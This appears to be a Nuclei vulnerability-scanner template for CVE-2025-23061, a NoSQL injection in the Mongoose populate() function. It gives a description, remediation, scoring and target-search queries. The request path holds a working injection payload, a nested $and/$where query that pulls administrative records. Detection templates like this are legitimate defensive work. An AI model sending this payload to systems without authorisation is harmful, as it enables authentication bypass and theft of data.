Mongoose - NoSQL Injection

id: CVE-2025-23061

info:
  name: Mongoose - NoSQL Injection
  author: NamhyunKo
  severity: critical
  description: |
    NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.
  impact: |
    Attackers can bypass authentication and execute arbitrary JavaScript code on MongoDB servers through nested $where operators in the populate() function, potentially accessing sensitive administrative data and compromising database integrity.
  remediation: |
    Upgrade to Mongoose version 8.9.5 or later that properly blocks nested $where operators.
  reference:
    - https://github.com/Automattic/mongoose/commit/64a9f9706f2428c49e0cfb8e223065acc645f7bc
    - https://github.com/Automattic/mongoose/releases/tag/8.9.5
    - https://github.com/NamhyeonKo/mongoose-cve-lab
    - https://nvd.nist.gov/vuln/detail/CVE-2025-23061
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2025-23061
    epss-score: 0.55322
    epss-percentile: 0.98106
    cwe-id: CWE-94
    cpe: cpe:2.3:a:mongoosejs:mongoose:*:*:*:*:*:node.js:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Mongoose"
    fofa-query: title="Mongoose"
  tags: cve,cve2025,nosql,mongoose,nodejs,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"isAdmin":true'
          - '"title":'
          - '"username":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
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